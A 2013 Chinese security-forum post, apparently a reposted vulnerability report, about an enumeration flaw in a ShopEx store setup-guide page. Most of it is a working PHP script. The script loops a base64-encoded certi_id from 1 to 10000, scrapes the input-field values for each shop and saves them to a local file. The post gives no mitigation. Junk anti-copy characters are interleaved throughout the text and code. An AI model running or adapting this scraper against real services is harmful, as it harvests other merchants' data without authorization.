找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2955|回复: 0
打印 上一主题 下一主题

ShopEx某接口缺陷可遍历所有用户网站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 15:59:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
! M4 e* \* l% e, h- i( gShopEx某接口缺陷,可遍历所有网站
7 K- \4 Q0 h* R9 y5 Z5 Q% k详细说明:
# k1 @3 ~1 E4 y! ^( b  e+ `问题出现在shopex 网店使用向导页面 9 M, N5 }- u* y& Q

; w+ ~5 m  @) @) C8 W; q$ E% \; q0 P% }8 W
4 p; K: P* c9 k- m! M; C8 Z
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
" n* K* x; P7 n4 I$ s$ ?2 W: H
/ {; e9 r, i* O9 C

9 G. D' M; o" Y% R) O  Vrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}7 C0 t2 I  }5 M  k% p& q

& C+ B' r2 T/ e" b+ I
) N+ k) c, R! S5 z2 y- i) z$ C3 k5 a9 \
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 4 C) f  e- F8 T  `

' I- u8 b2 l" ]8 \& Y5 T
, ?2 t5 \% O% y. E/ p# o' D: j: l1 }' q# l6 a$ s
<?php( u$ D! e. k' S* j& u
- C9 t0 V! |9 J) c. ^
                for ($i=1; $i < 10000; $i++) { //遍历4 U0 H! ?4 T2 [2 p
2 B0 K' Y, W" @5 m' I
                        ShowshopExD($i);
6 [6 R5 M0 L* J( `" t9 l
0 _7 _# S- U. j5 U* m                }
% g- y+ K, q% e( ?4 t4 M% T) q! d  i3 q
                function ShowshopExD($cid) {
& v3 a# {* m7 K. d. l4 o/ ?
1 {0 ?5 r( j/ h                $url='http://guide.ecos.shopex.cn/step2.php';+ @* Z$ }* Q) Q& Y4 d3 Y
0 j& {# \# t2 H& r; R2 _2 S8 A
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');4 O0 @5 p& p6 l& d" F: Z" s  K

+ I; A+ T) h9 ~. U/ ~        $url = $url.'?refer='.$refer;
7 m3 o. l  p( H3 R6 L& Q7 M4 l, t& C5 j; h
        $ch = curl_init($url);$ J7 `8 s% n/ }

* v0 w8 {$ |$ e4 c        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;. G5 a, d5 X* c- r* x
3 q5 A7 {; X. W' g6 e! M# V
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;3 C" i, I7 q2 U& b+ u2 p* m

' Q. T( z, ^- m& J+ r3 ?        $result = curl_exec($ch);
2 H% q* y. _  Q- I$ |. j# o% |3 O  ^6 q4 t, a" M; r  g6 `
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");$ Y* b9 `* F0 u, }2 e' [

# X& Q( ?3 y6 O5 w        if(strpos($result,$refer))
5 J$ S% _. T9 k3 H  t5 X; T* Q- j! H1 v
        {
+ Z+ J" u  X2 l: a3 t& C! x1 @, |
4 V: T) _  G/ A7 e                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件1 N0 P1 b7 p0 l% V8 A0 k: m) M- _7 E
* U& d7 h0 q, f( G1 _, v
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);# a. V  u9 c( j: u* L* N
8 U( k# ]6 C" l# q" a
                foreach ($value[1] as $key) {; ~  A6 Q4 b" N
( B9 B& ?% [$ Y5 H
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);' ?# {3 z6 s9 i4 r; u. K. k/ y- O

) J* Y) R; z! W                        echo $res[1][0].':'.$res[3][0]."\r\n";
0 M3 n/ d( u- w5 C! `; `
( ]: O& P8 K. g& c0 W: t                        $col =$res[1][0].':'.$res[3][0]."\r\n";
6 c. o/ N2 A0 s- L9 j( Q( C; d; c+ h5 K9 ^: U/ q
                        fwrite($fp, $col, strlen($col));
2 h+ X/ l4 {0 c" T7 U. e& h: e6 Z+ r6 h5 ]. Z# C& W
                }) X( W3 k6 l; _

7 W- ~8 y& Q1 U. f                echo '--------------------------------'."\r\n";; s; q* [3 b& n6 Q1 D2 g
  J; m# b" Y7 M" f5 m
                fclose($fp);
" K% p7 W' b0 S& [" ]8 t4 b' h9 h! m# j. E' R. F
        }0 P7 ]- ~: y# _% w6 q# _. _, y' `
# i# d6 a" r  K: @8 f0 @8 P; K
        flush();
5 T- x7 G9 Q0 p" L3 `3 K) J5 H! m) u; U9 M
        curl_close($ch);
2 n/ j* t7 o& g6 a/ A0 x+ S, @% r! w# ]7 U
                }
( b9 @% Q0 \! x) E" c* ?7 l
4 T) n5 j) g( P0 {$ Z" s: B6 T# h?>5 R: a1 }' h: A. w; O# z
漏洞证明:- a" Z/ q6 R9 [: O
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg: J  Z9 c2 L, G! n0 V8 E5 c. W
refer换成其他加密方式7 x: R9 ^6 t% ?- \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表